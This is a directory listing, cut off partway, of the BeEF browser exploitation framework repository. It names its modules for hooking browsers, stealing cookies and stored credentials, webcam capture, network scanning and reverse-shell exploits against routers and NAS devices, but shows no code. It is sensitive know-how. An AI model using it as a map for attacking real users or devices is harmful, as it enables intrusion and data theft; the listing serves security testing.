Repository: beefproject/beef Branch: master Commit: 7f20d03429ff Files: 1592 Total size: 6.0 MB Directory structure: gitextract_7_kdzefs/ ├── .dockerignore ├── .github/ │ ├── CONTRIBUTING.md │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ └── config.yml │ ├── PULL_REQUEST_TEMPLATE.md │ ├── SECURITY.md │ ├── dependabot.yml │ └── workflows/ │ ├── codeql.yml │ ├── dependabot-auto-merge.yml │ ├── dependabot_auto_label.yml │ ├── github_actions.yml │ └── stale.yml ├── .rspec ├── .rubocop.yml ├── .ruby-gemset ├── .ruby-version ├── Dockerfile ├── Gemfile ├── INSTALL.txt ├── README.md ├── Rakefile ├── VERSION ├── _config.yml ├── arerules/ │ ├── alert.json │ ├── c_osx_test-return-mods.json │ ├── confirm_close_tab.json │ ├── enabled/ │ │ └── README │ ├── ff_osx_extension-dropper.json │ ├── get_cookie.json │ ├── ie_win_fakenotification-clippy.json │ ├── ie_win_htapowershell.json │ ├── ie_win_missingflash-prettytheft.json │ ├── ie_win_test-return-mods.json │ ├── lan_cors_scan.json │ ├── lan_cors_scan_common.json │ ├── lan_fingerprint.json │ ├── lan_fingerprint_common.json │ ├── lan_flash_scan.json │ ├── lan_flash_scan_common.json │ ├── lan_http_scan.json │ ├── lan_http_scan_common.json │ ├── lan_ping_sweep.json │ ├── lan_ping_sweep_common.json │ ├── lan_port_scan.json │ ├── lan_sw_port_scan.json │ ├── man_in_the_browser.json │ ├── raw_javascript.json │ ├── record_snapshots.json │ └── win_fake_malware.json ├── beef ├── beef_cert.pem ├── beef_key.pem ├── conf.json ├── config.yaml ├── core/ │ ├── api/ │ │ ├── extension.rb │ │ ├── extensions.rb │ │ ├── main/ │ │ │ ├── configuration.rb │ │ │ ├── migration.rb │ │ │ ├── network_stack/ │ │ │ │ └── assethandler.rb │ │ │ ├── server/ │ │ │ │ └── hook.rb │ │ │ └── server.rb │ │ ├── module.rb │ │ └── modules.rb │ ├── api.rb │ ├── bootstrap.rb │ ├── core.rb │ ├── extension.rb │ ├── extensions.rb │ ├── filters/ │ │ ├── base.rb │ │ ├── browser.rb │ │ ├── command.rb │ │ ├── http.rb │ │ └── page.rb │ ├── filters.rb │ ├── hbmanager.rb │ ├── loader.rb │ ├── logger.rb │ ├── main/ │ │ ├── ar-migrations/ │ │ │ ├── 001_create_command_modules.rb │ │ │ ├── 002_create_hooked_browsers.rb │ │ │ ├── 003_create_logs.rb │ │ │ ├── 004_create_commands.rb │ │ │ ├── 005_create_results.rb │ │ │ ├── 006_create_option_caches.rb │ │ │ ├── 007_create_browser_details.rb │ │ │ ├── 008_create_executions.rb │ │ │ ├── 009_create_rules.rb │ │ │ ├── 010_create_interceptor.rb │ │ │ ├── 011_create_web_cloner.rb │ │ │ ├── 013_create_network_host.rb │ │ │ ├── 014_create_network_service.rb │ │ │ ├── 015_create_http.rb │ │ │ ├── 016_create_rtc_status.rb │ │ │ ├── 017_create_rtc_manage.rb │ │ │ ├── 018_create_rtc_signal.rb │ │ │ ├── 019_create_rtc_module_status.rb │ │ │ ├── 020_create_xssrays_detail.rb │ │ │ ├── 021_create_dns_rule.rb │ │ │ ├── 024_create_autoloader.rb │ │ │ └── 025_create_xssrays_scan.rb │ │ ├── autorun_engine/ │ │ │ ├── engine.rb │ │ │ ├── parser.rb │ │ │ └── rule_loader.rb │ │ ├── client/ │ │ │ ├── are.js │ │ │ ├── beef.js │ │ │ ├── browser/ │ │ │ │ ├── cookie.js │ │ │ │ └── popup.js │ │ │ ├── browser.js │ │ │ ├── dom.js │ │ │ ├── encode/ │ │ │ │ ├── base64.js │ │ │ │ └── json.js │ │ │ ├── geolocation.js │ │ │ ├── hardware.js │ │ │ ├── init.js │ │ │ ├── lib/ │ │ │ │ ├── evercookie.js │ │ │ │ ├── jquery-migrate-1.4.1.js │ │ │ │ ├── jquery.blockUI.js │ │ │ │ ├── json2.js │ │ │ │ ├── mdetect.js │ │ │ │ ├── platform.js │ │ │ │ └── webrtcadapter.js │ │ │ ├── logger.js │ │ │ ├── mitb.js │ │ │ ├── net/ │ │ │ │ ├── connection.js │ │ │ │ ├── cors.js │ │ │ │ ├── dns.js │ │ │ │ ├── local.js │ │ │ │ ├── portscanner.js │ │ │ │ ├── requester.js │ │ │ │ └── xssrays.js │ │ │ ├── net.js │ │ │ ├── os.js │ │ │ ├── session.js │ │ │ ├── timeout.js │ │ │ ├── updater.js │ │ │ ├── webrtc.js │ │ │ └── websocket.js │ │ ├── command.rb │ │ ├── configuration.rb │ │ ├── console/ │ │ │ ├── banners.rb │ │ │ ├── beef.ascii │ │ │ └── commandline.rb │ │ ├── constants/ │ │ │ ├── browsers.rb │ │ │ ├── commandmodule.rb │ │ │ ├── hardware.rb │ │ │ └── os.rb │ │ ├── crypto.rb │ │ ├── geoip.rb │ │ ├── handlers/ │ │ │ ├── browserdetails.rb │ │ │ ├── commands.rb │ │ │ ├── hookedbrowsers.rb │ │ │ └── modules/ │ │ │ ├── beefjs.rb │ │ │ ├── command.rb │ │ │ ├── legacybeefjs.rb │ │ │ └── multistagebeefjs.rb │ │ ├── logger.rb │ │ ├── migration.rb │ │ ├── model.rb │ │ ├── models/ │ │ │ ├── browserdetails.rb │ │ │ ├── command.rb │ │ │ ├── commandmodule.rb │ │ │ ├── execution.rb │ │ │ ├── hookedbrowser.rb │ │ │ ├── legacybrowseruseragents.rb │ │ │ ├── log.rb │ │ │ ├── optioncache.rb │ │ │ ├── result.rb │ │ │ └── rule.rb │ │ ├── network_stack/ │ │ │ ├── api.rb │ │ │ ├── assethandler.rb │ │ │ ├── handlers/ │ │ │ │ ├── dynamicreconstruction.rb │ │ │ │ ├── raw.rb │ │ │ │ └── redirector.rb │ │ │ └── websocket/ │ │ │ └── websocket.rb │ │ ├── rest/ │ │ │ ├── api.rb │ │ │ └── handlers/ │ │ │ ├── admin.rb │ │ │ ├── autorun_engine.rb │ │ │ ├── browserdetails.rb │ │ │ ├── categories.rb │ │ │ ├── hookedbrowsers.rb │ │ │ ├── logs.rb │ │ │ ├── modules.rb │ │ │ └── server.rb │ │ ├── router/ │ │ │ ├── api.rb │ │ │ └── router.rb │ │ └── server.rb │ ├── module.rb │ ├── modules.rb │ ├── ruby/ │ │ ├── hash.rb │ │ ├── module.rb │ │ ├── print.rb │ │ ├── security.rb │ │ └── string.rb │ ├── ruby.rb │ └── settings.rb ├── doc/ │ ├── COPYING │ └── boilerplate ├── docs/ │ ├── BeefJS.html │ ├── are.js.html │ ├── beef.are.html │ ├── beef.browser.cookie.html │ ├── beef.browser.html │ ├── beef.browser.popup.html │ ├── beef.dom.html │ ├── beef.encode.base64.html │ ├── beef.encode.json.html │ ├── beef.geolocation.html │ ├── beef.hardware.html │ ├── beef.init.html │ ├── beef.js.html │ ├── beef.logger.html │ ├── beef.mitb.html │ ├── beef.net.connection.html │ ├── beef.net.cors.html │ ├── beef.net.dns.html │ ├── beef.net.html │ ├── beef.net.local.html │ ├── beef.net.portscanner.html │ ├── beef.net.requester.html │ ├── beef.net.xssrays.html │ ├── beef.os.html │ ├── beef.session.html │ ├── beef.timeout.html │ ├── beef.updater.html │ ├── beef.webrtc.html │ ├── beef.websocket.html │ ├── browser.js.html │ ├── browser_cookie.js.html │ ├── browser_jools.html │ ├── browser_popup.js.html │ ├── dom.js.html │ ├── encode_base64.js.html │ ├── encode_json.js.html │ ├── geolocation.js.html │ ├── global.html │ ├── hardware.js.html │ ├── index.html │ ├── init.js.html │ ├── lib_browser_jools.js.html │ ├── lib_deployJava.js.html │ ├── lib_platform.js.html │ ├── logger.js.html │ ├── mitb.js.html │ ├── net.js.html │ ├── net_connection.js.html │ ├── net_cors.js.html │ ├── net_dns.js.html │ ├── net_local.js.html │ ├── net_portscanner.js.html │ ├── net_requester.js.html │ ├── net_xssrays.js.html │ ├── os.js.html │ ├── platform.html │ ├── scripts/ │ │ ├── linenumber.js │ │ └── prettify/ │ │ ├── Apache-License-2.0.txt │ │ ├── lang-css.js │ │ └── prettify.js │ ├── session.js.html │ ├── styles/ │ │ ├── jsdoc-default.css │ │ ├── prettify-jsdoc.css │ │ └── prettify-tomorrow.css │ ├── timeout.js.html │ ├── updater.js.html │ ├── webrtc.js.html │ └── websocket.js.html ├── extensions/ │ ├── admin_ui/ │ │ ├── api/ │ │ │ └── handler.rb │ │ ├── classes/ │ │ │ ├── httpcontroller.rb │ │ │ └── session.rb │ │ ├── config.yaml │ │ ├── constants/ │ │ │ └── icons.rb │ │ ├── controllers/ │ │ │ ├── authentication/ │ │ │ │ ├── authentication.rb │ │ │ │ └── index.html │ │ │ ├── modules/ │ │ │ │ └── modules.rb │ │ │ └── panel/ │ │ │ ├── index.html │ │ │ └── panel.rb │ │ ├── extension.rb │ │ ├── handlers/ │ │ │ └── ui.rb │ │ └── media/ │ │ ├── css/ │ │ │ ├── base.css │ │ │ └── ext-all.css │ │ ├── images/ │ │ │ ├── default/ │ │ │ │ ├── form/ │ │ │ │ │ ├── clear-trigger.psd │ │ │ │ │ ├── date-trigger.psd │ │ │ │ │ ├── search-trigger.psd │ │ │ │ │ └── trigger.psd │ │ │ │ └── window/ │ │ │ │ ├── left-corners.psd │ │ │ │ ├── left-right.psd │ │ │ │ ├── right-corners.psd │ │ │ │ └── top-bottom.psd │ │ │ └── icons/ │ │ │ └── README │ │ └── javascript/ │ │ ├── esapi/ │ │ │ ├── Class.create.js │ │ │ └── jquery-encoder-0.1.0.js │ │ ├── ext-all.js │ │ ├── ext-base.js │ │ ├── ui/ │ │ │ ├── authentication.js │ │ │ ├── common/ │ │ │ │ └── beef_common.js │ │ │ └── panel/ │ │ │ ├── AutoRunModuleForm.js │ │ │ ├── AutoRunRuleForm.js │ │ │ ├── AutoRunTab.js │ │ │ ├── BrowserDetailsDataGrid.js │ │ │ ├── HooksTab.js │ │ │ ├── Logout.js │ │ │ ├── LogsDataGrid.js │ │ │ ├── MainPanel.js │ │ │ ├── ModuleSearching.js │ │ │ ├── PanelStatusBar.js │ │ │ ├── PanelViewer.js │ │ │ ├── WelcomeTab.js │ │ │ ├── ZombieDataGrid.js │ │ │ ├── ZombieTab.js │ │ │ ├── ZombieTabs.js │ │ │ ├── ZombiesMgr.js │ │ │ ├── common.js │ │ │ ├── tabs/ │ │ │ │ ├── ZombieTabCommands.js │ │ │ │ ├── ZombieTabDetails.js │ │ │ │ ├── ZombieTabLogs.js │ │ │ │ ├── ZombieTabNetwork.js │ │ │ │ ├── ZombieTabRTC.js │ │ │ │ ├── ZombieTabRider.js │ │ │ │ └── ZombieTabXssRays.js │ │ │ └── zombiesTreeList.js │ │ └── ux/ │ │ ├── PagingStore.js │ │ ├── StatusBar.js │ │ └── TabCloseMenu.js │ ├── autoloader/ │ │ ├── config.yaml │ │ ├── extension.rb │ │ └── model.rb │ ├── customhook/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ ├── handler.rb │ │ └── html/ │ │ └── index.html │ ├── demos/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ ├── handler.rb │ │ └── html/ │ │ ├── basic.html │ │ ├── butcher/ │ │ │ ├── butch.css │ │ │ └── index.html │ │ ├── clickjacking/ │ │ │ ├── clickjack_attack.html │ │ │ └── clickjack_victim.html │ │ ├── plain.html │ │ ├── report.html │ │ └── secret_page.html │ ├── dns/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── dns.rb │ │ ├── extension.rb │ │ ├── logger.rb │ │ ├── model.rb │ │ └── rest/ │ │ └── dns.rb │ ├── dns_rebinding/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── dns_rebinding.rb │ │ ├── extension.rb │ │ └── views/ │ │ └── index.html │ ├── etag/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── etag.rb │ │ └── extension.rb │ ├── evasion/ │ │ ├── config.yaml │ │ ├── evasion.rb │ │ ├── extension.rb │ │ └── obfuscation/ │ │ ├── base_64.rb │ │ ├── minify.rb │ │ ├── scramble.rb │ │ └── whitespace.rb │ ├── events/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ └── handler.rb │ ├── metasploit/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ ├── module.rb │ │ ├── rest/ │ │ │ └── msf.rb │ │ └── rpcclient.rb │ ├── network/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ ├── models/ │ │ │ ├── network_host.rb │ │ │ └── network_service.rb │ │ └── rest/ │ │ └── network.rb │ ├── notifications/ │ │ ├── channels/ │ │ │ ├── email.rb │ │ │ ├── ntfy.rb │ │ │ ├── pushover.rb │ │ │ └── slack_workspace.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ └── notifications.rb │ ├── proxy/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ ├── proxy.rb │ │ └── rest/ │ │ └── proxy.rb │ ├── qrcode/ │ │ ├── config.yaml │ │ ├── extension.rb │ │ └── qrcode.rb │ ├── requester/ │ │ ├── api/ │ │ │ └── hook.rb │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ ├── handler.rb │ │ ├── models/ │ │ │ └── http.rb │ │ └── rest/ │ │ └── requester.rb │ ├── s2c_dns_tunnel/ │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── dnsd.rb │ │ ├── extension.rb │ │ └── httpd.rb │ ├── social_engineering/ │ │ ├── config.yaml │ │ ├── droppers/ │ │ │ └── readme.txt │ │ ├── extension.rb │ │ ├── models/ │ │ │ ├── interceptor.rb │ │ │ └── web_cloner.rb │ │ ├── powershell/ │ │ │ └── bind_powershell.rb │ │ ├── rest/ │ │ │ └── socialengineering.rb │ │ └── web_cloner/ │ │ ├── cloned_pages/ │ │ │ └── readme.txt │ │ ├── interceptor.rb │ │ └── web_cloner.rb │ ├── webrtc/ │ │ ├── api/ │ │ │ └── hook.rb │ │ ├── api.rb │ │ ├── config.yaml │ │ ├── extension.rb │ │ ├── handlers.rb │ │ ├── models/ │ │ │ ├── rtcmanage.rb │ │ │ ├── rtcmodulestatus.rb │ │ │ ├── rtcsignal.rb │ │ │ └── rtcstatus.rb │ │ └── rest/ │ │ └── webrtc.rb │ └── xssrays/ │ ├── api/ │ │ └── scan.rb │ ├── api.rb │ ├── config.yaml │ ├── extension.rb │ ├── handler.rb │ ├── models/ │ │ ├── xssraysdetail.rb │ │ └── xssraysscan.rb │ └── rest/ │ └── xssrays.rb ├── googlef1d5ff5151333109.html ├── install ├── modules/ │ ├── browser/ │ │ ├── avant_steal_history/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── browser_fingerprinting/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_activex/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_evernote_clipper/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_extensions/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_firebug/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_foxit/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_lastpass/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_mime_types/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_office/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_popup_blocker/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_quicktime/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_realplayer/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_silverlight/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_simple_adblock/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_toolbars/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_unity/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_unsafe_activex/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_vlc/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── detect_wmp/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── fingerprint_browser/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── fingerprint2.js │ │ │ └── module.rb │ │ ├── get_visited_domains/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_visited_urls/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── hooked_origin/ │ │ │ ├── ajax_fingerprint/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── alert_dialog/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── apache_tomcat_examples_cookie_disclosure/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── cisco_asa_password_disclosure/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── clear_console/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── deface_web_page/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── deface_web_page_component/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── disable_developer_tools/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_autocomplete_creds/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_cookie/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_form_values/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_local_storage/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_page_html/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_page_html_iframe/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_page_links/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_session_storage/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── get_stored_credentials/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── link_rewrite/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── link_rewrite_click_events/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── link_rewrite_sslstrip/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── link_rewrite_tel/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── mobilesafari_address_spoofing/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── overflow_cookiejar/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── prompt_dialog/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── remove_stuck_iframes/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── replace_video/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── rickroll/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── site_redirect/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── site_redirect_iframe/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── play_sound/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── remove_hook_element/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── spyder_eye/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── unhook/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── webcam_flash/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── dev/ │ │ │ │ ├── com/ │ │ │ │ │ ├── adobe/ │ │ │ │ │ │ └── images/ │ │ │ │ │ │ ├── BitString.as │ │ │ │ │ │ ├── JPGEncoder.as │ │ │ │ │ │ └── PNGEncoder.as │ │ │ │ │ └── foxarc/ │ │ │ │ │ └── util/ │ │ │ │ │ └── Base64.as │ │ │ │ └── takeit.fla │ │ │ ├── module.rb │ │ │ ├── swfobject.js │ │ │ └── takeit.swf │ │ ├── webcam_html5/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── webcam_permission_check/ │ │ ├── cameraCheck.as │ │ ├── cameraCheck.swf │ │ ├── command.js │ │ ├── config.yaml │ │ ├── module.rb │ │ └── swfobject.js │ ├── chrome_extensions/ │ │ ├── execute_tabs/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── get_all_cookies/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── grab_google_contacts/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── inject_beef/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── screenshot/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── send_gvoice_sms/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── debug/ │ │ ├── test_beef_debug/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── test_cors_request/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── test_dns_tunnel_client/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── test_get_variable/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── test_http_redirect/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── test_network_request/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── test_return_ascii_chars/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── test_return_image/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ └── test_return_long_string/ │ │ ├── command.js │ │ ├── config.yaml │ │ └── module.rb │ ├── exploits/ │ │ ├── apache_cookie_disclosure/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── apache_felix_remote_shell/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── beefbind/ │ │ │ ├── beef_bind_shell/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── shellcode_sources/ │ │ │ ├── linux/ │ │ │ │ ├── x64/ │ │ │ │ │ ├── socket64.c │ │ │ │ │ ├── stage64.nasm │ │ │ │ │ └── stager64.nasm │ │ │ │ └── x86/ │ │ │ │ ├── socket.c │ │ │ │ ├── stage.nasm │ │ │ │ └── stager.nasm │ │ │ ├── msf/ │ │ │ │ ├── README.md │ │ │ │ ├── beef_bind-handler.rb │ │ │ │ ├── beef_bind-stage-linux-x64.rb │ │ │ │ ├── beef_bind-stage-linux-x86.rb │ │ │ │ ├── beef_bind-stage-windows-x86.rb │ │ │ │ ├── beef_bind-stager-linux-x64.rb │ │ │ │ ├── beef_bind-stager-linux-x86.rb │ │ │ │ └── beef_bind-stager-windows-x86.rb │ │ │ └── windows/ │ │ │ ├── beef_bind_tcp-stage.asm │ │ │ ├── beef_bind_tcp-stager.asm │ │ │ ├── socket.c │ │ │ └── src/ │ │ │ ├── block_api.asm │ │ │ ├── block_beef_bind-stage.asm │ │ │ ├── block_beef_bind-stager.asm │ │ │ ├── block_bind_tcp.asm │ │ │ ├── block_pipes.asm │ │ │ ├── block_shell_pipes.asm │ │ │ ├── block_sleep.asm │ │ │ └── block_virtualalloc.asm │ │ ├── boastmachine_3_1_add_user_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── camera/ │ │ │ ├── airlive_ip_camera_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── dlink_dcs_series_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── linksys_wvc_wireless_camera_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── coldfusion_dir_traversal_exploit/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── extract_cmd_exec/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── farsite_x25_remote_shell/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── firephp/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ └── payload.js │ │ ├── glassfish_war_upload_xsrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── groovyshell_server_cmd_exec/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── hp_ucmdb_add_user_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── jboss_jmx_upload_exploit/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── jenkins_groovy_code_exec/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── kemp_command_execution/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── local_host/ │ │ │ ├── activex_command_execution/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── java_payload/ │ │ │ │ ├── Applet_ReverseTCP.jar │ │ │ │ ├── README.txt │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── mozilla_nsiprocess_interface/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── safari_launch_app/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── signed_applet_dropper/ │ │ │ │ ├── README.txt │ │ │ │ ├── applet/ │ │ │ │ │ ├── SM.java │ │ │ │ │ ├── SignedApplet.jar │ │ │ │ │ └── SignedApplet.java │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── window_mail_client_dos/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── nas/ │ │ │ ├── dlink_sharecenter_cmd_exec/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ └── freenas_reverse_root_shell_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── ntfscommoncreate_dos/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── opencart_reset_password/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── pfsense/ │ │ │ ├── pfsense_2.3.2_reverse_root_shell_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ ├── module.rb │ │ │ │ └── x.js │ │ │ └── pfsense_reverse_root_shell_csrf/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── php-5.3.9-dos/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── qemu_monitor_migrate_cmd_exec/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── qnx_qconn_command_execution/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── resource_exhaustion_dos/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ └── module.rb │ │ ├── rfi_scanner/ │ │ │ ├── command.js │ │ │ ├── config.yaml │ │ │ ├── module.rb │ │ │ ├── rfi.txt │ │ │ └── update-list │ │ ├── router/ │ │ │ ├── 3com_officeconnect_cmd_exec/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ └── module.rb │ │ │ ├── actiontec_q1000_csrf/ │ │ │ │ ├── command.js │ │ │ │ ├── config.yaml │ │ │ │ 